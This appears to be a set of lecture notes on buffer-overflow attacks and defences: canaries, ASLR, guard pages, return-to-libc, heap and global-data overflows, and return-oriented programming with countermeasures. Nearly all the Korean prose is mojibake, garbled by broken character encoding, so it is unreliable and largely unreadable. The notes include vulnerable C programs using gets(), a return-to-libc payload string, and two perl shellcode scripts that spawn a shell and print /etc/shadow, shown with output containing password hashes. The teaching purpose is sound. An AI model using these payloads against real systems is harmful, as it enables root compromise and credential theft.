- ėė ė§íëĨž ėíī stackė íėļíë íĻė ė§ė (entry) ë° ėĒ ëĢ(exit) ė―ëëĨž ėķę°íĻ.
- ëŽīėė canary ėŽėĐ
- ę°ė ėėļĄ ëķę°ëĨíīėž íĻ.
- ėėĪí ë§ëĪ ëŽëžėž íĻ.
- Stackshield ë° Return Address Defender(RAD)
- ėķę°ė ėļ íĻė ė§ė ë° ėĒ ëĢ ė―ëëĨž íŽíĻíë GCC íėĨ
- íĻė ė§ė ė ë°í ėĢžėė ėŽëģļė ėė í ëĐëŠĻëĶŽ ėėė ė
- íĻė ėĒ ëĢ ė―ëë stack frameė ë°í ėĢžėëĨž ė ėĨë ėŽëģļęģž ëėĄ°íėŽ íėļíĻ.
- ëģęē―ėī ë°ęēŽëëĐī íëĄę·ļëĻė ėĪëĻíĻ.
Run-Time Defenses: Executable Address Space Protection
- Virtual memory ė§ėė ėŽėĐíėŽ ëĐëŠĻëĶŽė ėžëķ ėėė ėĪí ëķę°ëĨ(non-executable)íęē ë§ëĶ
- ëĐëŠĻëĶŽ ęīëĶŽ ėĨėđ(MMU)ė ė§ėėī íėíĻ.
- SPARC / Solaris ėėĪí ė ėĪëė ëķí° ėĄīėŽíė.
- x86 Linux/Unix/Windows ėėĪí ėėë ėĩę·žė ëė ëĻ.
- ëŽļė ė
- ėĪí ę°ëĨí stack ė―ëė ëí ė§ė
- íđëģí ėĄ°í(provisions)ėī íėíĻ.
Run-Time Defenses: Address Space Layout Randomization (ASLR)
- ėĢžė ë°ėīí° ęĩŽėĄ°ė ėėđëĨž ėĄ°ėíĻ.
- Stack, heap, ė ė ë°ėīí°
- ę° processë§ëĪ ëŽīėė shiftëĨž ėŽėĐíĻ.
- íë ėėĪí ė í° ėĢžė ëēėë ėžëķëĨž ëëđíë ęēėī ëŽīėí ė ėë ėíĨė ëŊļėđĻė ėëŊļíĻ.
- Heap buffer ėėđė ëŽīėėí
- íėĪ ëžėīëļëŽëĶŽ íĻėė ëŽīėė ėėđ
Run-Time Defenses: Guard Pages
- ëĐëŠĻëĶŽė ėęģ(critical) ėė ėŽėīė guard pagesëĨž ë°°ėđíĻ.
- MMUėė ëķëē ėĢžėëĄ íëę·ļ ė§ė ëĻ.
- ė ę·ž ėë ė processę° ėĪëĻëĻ.
- ėķę° íėĨė stack frameęģž heap buffer ėŽėīė guard pagesëĨž ë°°ėđíĻ.
- íėí ëĪėė íėīė§ ë§Īíė ė§ėíęļ° ėí ėĪí ėę° ëđėĐėī ë°ėíĻ.
Replacement Stack Frame
- Bufferė ė ėĨë frame pointer ėĢžėëĨž ëŪėīė°ë ëģí
- ė ėĨë frame pointer ę°ėī ëëŊļ(dummy) stack frameė ė°ļėĄ°íëëĄ ëģęē―ëĻ.
- íėŽ íĻėę° ęĩėēīë ëëŊļ frameėžëĄ ë°íëĻ.
- ė ėīę° ëŪėīė°ėŽė§ bufferė shellcodeëĄ ė ėĄëĻ.
- Off-by-one ęģĩęēĐ
- ėŽėĐ ę°ëĨí ęģĩę°ëģīëĪ 1ë°ėīíļ ë ëģĩėŽëëëĄ íėĐíë ė―ëĐ ėĪëĨ
- ë°Đėī
- íĻė ėĒ ëĢ ė―ëė ėíī stack frame ëë ë°í ėĢžėė ėė ėŽíė íė§íë ëŠĻë stack ëģīíļ ëĐėŧĪëėĶ
- ėĪí ëķę°ëĨí stack ėŽėĐ
- ëĐëŠĻëĶŽ ëīė stack ë° ėėĪí ëžėīëļëŽëĶŽė ëŽīėėí
Return to System Call
- Stack overflow ëģíėžëĄ ë°í ėĢžėëĨž íėĪ ëžėīëļëŽëĶŽ íĻėëĄ ëėēīíĻ.
- ėĪí ëķę°ëĨí stackė ëí ëė
- ë°Đėī
- ęģĩęēĐėę° ë°í ėĢžė ėė stackė ė ė í íëžëŊļí°ëĨž ęĩŽėąíĻ.
- íĻėę° ë°íëęģ ëžėīëļëŽëĶŽ íĻėę° ėĪíëĻ.
- ęģĩęēĐėë ė íí buffer ėĢžėę° íėí ė ėė.
- ë ę°ė ëžėīëļëŽëĶŽ íļėķė ė°ęē°(chain)í ėë ėė.
- ë°Đėī
- íĻė ėĒ ëĢ ė―ëė ėíī stack frame ëë ë°í ėĢžėė ėė ėŽíė íė§íë ëŠĻë stack ëģīíļ ëĐėŧĪëėĶ
- ėĪí ëķę°ëĨí stack ėŽėĐ
- ëĐëŠĻëĶŽ ëīė stack ë° ėėĪí ëžėīëļëŽëĶŽė ëŽīėėí
Return-to-libc
- ė―ë ėĢžė
ëė ęļ°ėĄī ė―ë(ė:
libcíĻė) ėŽėĐ- ė)
system(â/bin/shâ); execve (argv[0], argv, NULL);
- ė)
- Exploit ė
A * 80 + B * 4 + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"0x40058ae00x400fbff9
echo()ę° ë°íë ë,system()ėī ėëĄėī shellė ėĪííĻ.- ëŠĻëļ ė°í
Heap Overflow
- Heapė ėėđí buffer ęģĩęēĐ
- ėžë°ė ėžëĄ íëĄę·ļëĻ ė―ë ėė ėėđíĻ.
- ëĐëŠĻëĶŽë ëė ë°ėīí° ęĩŽėĄ°(ė: ë ė―ëė ė°ęē° ëĶŽėĪíļ)ėė ėŽėĐíęļ° ėíī íëĄę·ļëĻė ėíī ėėēëĻ.
- ë°í ėĢžė ėė.
- ë°ëžė ė ėī ė ėĄėī ė―ė§ ėė.
- ė ėĐí ė ėë íĻė íŽėļí°ëĨž ę°ė§ ė ėė.
- ëë ęīëĶŽ ë°ėīí° ęĩŽėĄ°ëĨž ėĄ°ėí ė ėė.
- ë°Đėī
- Heapė ėĪí ëķę°ëĨíęē ë§ëĪęļ°
- Heapė ëĐëŠĻëĶŽ í ëđ ëŽīėėí
Heap Overflow Example
/* record type to allocate on heap */
typedef struct chunk {
char inp[64]; /* vulnerable input buffer */
void (*process)(char *); /* pointer to function to process inp */
} chunk_t;
void showlen(char *buf)
{
int len;
len = strlen(buf);
printf("buffer5 read %d chars\n", len);
}
int main(int argc, char *argv[])
{
chunk_t *next;
setbuf(stdin, NULL);
next = malloc(sizeof(chunk_t));
next->process = showlen;
printf("Enter value: ");
gets(next->inp);
next->process(next->inp);
printf("buffer5 done\n");
}
$ cat attack2
#!/bin/sh
# implement heap overflow against program buffer5
perl -e 'print pack("H*",
"90909090909090909090909090909090"
."8b1a5e31c08846078d1e895e0881"
."460cb00b89f38d4e08bd560ccd80e8"
."8f26f96e2f736820202020202020"
."b89704080a");
print "whoami\n";
print "cat /etc/shadow\n";
'
$ attack2 | buffer5
Enter value:
root:$1$4oImychST3RVS2F30VNRG4JUZF4o3/:13347:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$p2wziIMLs/yVHPQuw5kvlUFJs3b9a/:13347:0:99999:7:::
...
Global Data Overflow
- ė ė ë°ėīí°ė ėėđí bufferëĨž ęģĩęēĐí ė ėė.
- íëĄę·ļëĻ ė―ë ėė ėėđí ė ėė.
- íĻė íŽėļí°ė ė·Ļė―í bufferę° ėë ęē―ė°
- ëë ėļė í process ęīëĶŽ í ėīëļ
- ëėĪė íļėķëë íĻė íŽėļí°ëĨž ëŪėīė°ë ęēė ëŠĐíëĄ íĻ.
- ë°Đėī
- ėĪí ëķę°ëĨíęą°ë ëŽīėėíë ė ė ë°ėīí° ėė
- íĻė íŽėļí° ėīë
- Guard pages
Global Data Overflow Example
/* global static data - will be targeted for attack */
struct chunk {
char inp[64]; /* input buffer */
void (*process)(char *); /* pointer to function to process it */
} chunk;
void showlen(char *buf)
{
int len;
len = strlen(buf);
printf("buffer6 read %d chars\n", len);
}
int main(int argc, char *argv[])
{
setbuf(stdin, NULL);
chunk.process = showlen;
printf("Enter value: ");
gets(chunk.inp);
chunk.process(chunk.inp);
printf("buffer6 done\n");
}
$ cat attack3
#!/bin/sh
# implement global data overflow attack against program buffer6
perl -e 'print pack("H*",
"90909090909090909090909090909090"
."9090eb1a5e31c08846078d1e895e0889"
."460cb00b89f38d4e08bd560ccd80e8e1"
."fffff26f696e2f736820202020202020"
."409704080a");
print "whoami\n";
print "cat /etc/shadow\n";
'
$ attack3 | buffer6
Enter value:
root
root:$1$4oImychST3RVS2E3OyNRGJGUF4o3/:13347:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$p2wziIMLs/yVHPQuw5kvlUFJs3b9a/:13347:0:99999:7:::
...
Return-Oriented Programming
- ę°ë (Concept)
- ęģĩęēĐ ë°Đëē (Attack method)
- ëėėą (Countermeasures)
- ęģĩęēĐėë
f(âfooâ)ëĨž ėĪííęģ ėķė§ë§...f()ę° libcė ėė.- ëë
f()ė ėėđę° ëŽīėėíëĻ.
ROP (Return-Oriented Programming)
- ė
ėą ė―ëëĨž ėĢžė
í íė ėėī ėėė(íë§ ėė í) ęģė° ėí
- ëžėīëļëŽëĶŽ íĻė íļėķ íė ėė (ė:
system(),execve(), ...) - ėëģļ ė―ë ėė íė ėė.
- íė§ë§ ėŽė í stack ëīėĐ(ë°í ėĢžė íŽíĻ)ė ëģęē―íīėž íĻ.
- ëžėīëļëŽëĶŽ íĻė íļėķ íė ėė (ė:
- ROP ęģĩęēĐė ëĪė ėėĪí
ė ė ėĐë ė ėė.
- Intel x86 [Sha07]
- ARM [Kor09]
- The SPARC Machine [BRSS08]
- Atmel AVR [FC08]
- Z80 Voting Machines [CFK+09]
- PowerPC [Lin09]
- Apple iPhone
- JailbreakMe [Hal10]
- SMS ë°ėīí°ëē ėīėĪ íė·Ļ [IW10]
- Desktop PCs
- Acrobat Reader [jdu10]
- Adobe Flashplayer [Ado10]
- íđė ëŠĐė ęļ°ęģ
- Z80 voting machine [CFK+09]
General Idea of ROP
ââââââââââââââââââââââââââââââââââââââââââââ
â Seq 1 Seq 2 Seq 3 Seq 4 â
â âââââââ âââââââ âââââââ âââââââ â
â âins1 â âââšâins1 â âââšâins1 â âââšâins1 â â
â âââââââĪ â âââââââĪ â âââââââĪ â âââââââĪ â
â âins2 â â âins2 â â âins2 â â âins2 â â
â âââââââĪ â âââââââĪ â âââââââĪ â âââââââĪ â
â âins3 â â âret â â âins3 â â âret â â
â âââââââĪ â ââââŽâââ â âââââââĪ â âââââââ â
â âins4 â â ââââââ âret â â â
â âââââââĪ â ââââŽâââ â â
â âret âââ ââââââ â
â âââââââ â
ââââââââââââââââââââGadgetââââââââââââââââââ
- ėėīëėī
- (shellcode ėĢžė
,
libíĻė íļėķ, ė―ë ėė ėėī) ėėė ęģė°ė ėíí ė ėė.
- (shellcode ėĢžė
,
- ė ę·ž ë°Đė
- ė ėēī íĻėëĨž ėŽėĐíë ëė ėė ëŠ
ë đėī ėíėĪ(ė:
libcė)ëĨž ėŽėĐíĻ. - ëŠ ë đėī ėíėĪë 2 ~ 5ę°ė ëŠ ë đėīëĄ ęĩŽėąëĻ.
- ëŠĻë ėíėĪë
retëŠ ë đėīëĄ ëëĻ. - ëŠ ë đėī ėíėĪë gadgetėžëĄ ė°ęē°ëĻ.
- Gadgetė íđė ėė (ė: load, store, xor, branch)ė ėííĻ.
- ėīí, ęģĩęēĐėë gadgetëĪė ęē°íĐíėŽ ėíë ëėė ę°ė íĻ.
- ė ėēī íĻėëĨž ėŽėĐíë ëė ėė ëŠ
ë đėī ėíėĪ(ė:
Finding unintended instruction sequences
- libcė ëĪėęģž ę°ė ëŠ
ë đėīę° ėëĪęģ ę°ė
Byte values Assembler Comment b8 13 00 00 00mov0x13,%eax`/* move 0x13 to the %eax register */e9 c3 f8 ff ffjmp 3aae9/* jump to (relative) address 3aae9 */ b8ëė00ëķí° ë°ėīíļ ėĪíļëĶžė íīėíëĐī, ëĪėęģž ę°ė ėëíė§ ėė ëŠ ë đėī ėíėĪëĨž ėŧė ė ėė.Byte values Assembler Comment 00 00add %al, (%eax)/* add register value of %al to the word pointed to by the %eax register */00 e9add %ch,%cl/* add registers %cl and %ch */c3ret/* return instruction */
Gadget Example : Memory Load (1/4)
Stack
ââââââââââââââââââââ
â Return Address 2 â
ââââââââââââââââââââĪ
â 0x8010AB8D â
ââââââââââââââââââââĪ
SP--âš Return Address 1 ââââ
ââââââââââââââââââââĪ â
â Pattern 2 â â Memory LOAD Gadget
ââââââââââââââââââââĪ â âââââââââââââââââââââââââââââââââââââââââââââ
â â â â ââââââââââââââ ââââââââââââââââââââââââ â
â Pattern 1 â âââââžâââš pop %eax â â movl 64(%eax), %eax â â
â â â ââââââââââââââĪ ââââââââââââââââââââââââĪ â
ââââââââââââââââââââ â â ret â â ret â â
â ââââââââââââââ ââââââââââââââââââââââââ â
âââââââââââââââââââââââââââââââââââââââââââââ
ââââââââââââââââââââ
â 0xDEADBEEF â Value of %eax
ââââââââââēââââââââââ âââââââââââââââââââââ
â â 0 0 0 0 0 0 0 0 0 â
0x8010ABCD âââââââââââââââââââââ
- ëŠĐí: (
0x8010ABCDę° ę°ëĶŽíĪë) ëĻėī0xDEADBEEFëĨž%eaxregisterė ëĄëíęļ° - Gadget ė°ūęļ° BoF ęģĩęēĐ Return Sequence 1 ėė
- ė
ë Ĩ ę°: Pattern 1 + Pattern 2 +
Ret_addr_1 + â\x8D\xAB\x10\x80â + Ret_addr_2
- ė
ë Ĩ ę°: Pattern 1 + Pattern 2 +
Gadget Example: Memory Load (2/4)
0x8010AB8DëĨž%eaxregisterė pop- ëŠĐí: (
0x8010ABCDę° ę°ëĶŽíĪë) ëĻėī0xDEADBEEFëĨž%eaxregisterė ëĄëíęļ°
Gadget Example: Memory Load (3/4)
- ė ėī íëĶė Sequence 1ė
retëŠ ë đėīė ėíī Sequence 2ëĄ ėīëíĻ. - ëŠĐí: (
0x8010ABCDę° ę°ëĶŽíĪë) ëĻėī0xDEADBEEFëĨž%eaxregisterė ëĄëíęļ°
Gadget Example: Memory Load (4/4)
0xDEADBEEFëĨž%eaxregisterëĄ move- ëŠĐí: (
0x8010ABCDę° ę°ëĶŽíĪë) ëĻėī0xDEADBEEFëĨž%eaxregisterė ëĄëíęļ°
Countermeasures
- ë°í ėĢžėëĨž ė
ėė ėļ ėė ėžëĄëķí° ėīëŧęē ëģīíļí ęēėļę°?
- ėŧīíėžëŽ ęļ°ë° ėëĢĻė
- ë°í ėĢžėëĨž ëģëė shadow stackė ë°ąė íĻ.
- íëėĻėī ė§ė ėëĢĻė
- Stackė ë°ėīí° ė ėĐ ë° íļėķ/ë°í ėĢžė ė ėĐ ëķëķėžëĄ ëķëĶŽíĻ.
- íļėķ/ë°í stackė ëí access controlė ę°ė íĻ.
- JIT-compiler ęļ°ë°ė ëė ë°ėīëëĶŽ ęģėļĄ(Dynamic binary instrumentation)
- ė ę·ž ë°Đė: ėĪí ėę°(runtime)ė ëŠ ë đėī ëļëĄė ėëĄėī ëŠ ë đėīëĄ ėŧīíėžíėŽ ęģėļĄ ė―ëëĨž ėķę°íĻ (JIT â Just In Time Compilation)
- Program shepherding
- ë°í ëėėī ė íĻí íļėķ ėŽėīíļėļė§ íėļíĻ, ėĶ ë°íė
callëŠ ë đėīę° ė íë ëŠ ë đėīëĨž ëėėžëĄ íīėž íĻ.
- ë°í ëėėī ė íĻí íļėķ ėŽėīíļėļė§ íėļíĻ, ėĶ ë°íė
- ë°í ëđë ėļĄė
- ROPdefender
- ëģëė shadow stackė ëģīęīë ė íĻí ë°í ėĢžėė ę° ë°í ėĢžėëĨž ëėĄ°íėŽ íėļíĻ.
- ėŧīíėžëŽ ęļ°ë° ėëĢĻė
ROP without Returns [9]
- íđė§
- ë°í ėĢžėëĨž ëģīíļíë ëėėą ė ė°íí ė ėė.
- Intel x86 ë° ARM ëąė ė ėĐ ę°ëĨíĻ.
- ë°í ëŠ ë đėī ėėī ë íëŦíž ëŠĻëė ëí íë§ ėė í gadget ėļíļ ë° ėĪėĐė ėļ ęģĩęēĐ ėļėĪíīėĪí
- ė ę·ž ë°Đė
- ë°íęģž ė ėŽí(return-like) ėíėĪ ėŽėĐ
- íëģī: ę°ė ė í(indirect jumps)
- Intel ėíĪí
ėē:
jmp *%eax - ARM ėíĪí
ėē:
blx r3
- ė ė― ėŽí
%eax,r3, âĶ registerëĪė ëŊļëĶŽ ėīęļ°ííīėž íĻ.- Returnė stack pointerëĨž ėëėžëĄ ė ë°ėīíļíė§ë§, ę°ė ė íë ę·ļë ė§ ėė.
ROP without Returns
- ë°íęģž ė ėŽí ėíėĪ(Return-like Sequences)
- Intel
pop %eax; jmp *%eax- ëė ėĢžėëĨž
%eaxëĄ Pop popëŠ ë đėīë stack pointerëĨž ėëėžëĄ 4ë°ėīíļ ėĶę°ėíī(returnęģž ė ėŽ)%eaxė ė ėĨë ėĢžėëĄ Jump
- ëė ėĢžėëĨž
- ARM
- Pop-jump ėíėĪę° ėĄīėŽíė§ ėė.
- Update-Load-Branch ėíėĪ ėŽėĐ
- (Update)
adds r6,#4:r6ė 4ë°ėīíļ ėķę° - (Load)
ldr r5, [r6]: ëė ėĢžėëĨžr5ëĄ Load - (Branch)
blx r5: ëė ėĢžėëĄ Branch
- (Update)
- ëŽļė ė
- ė ėíĪí ėēëĪėė ë°íęģž ė ėŽí ėíėĪëĨž ė°ūęļ° ėīë Īė.
- Intel


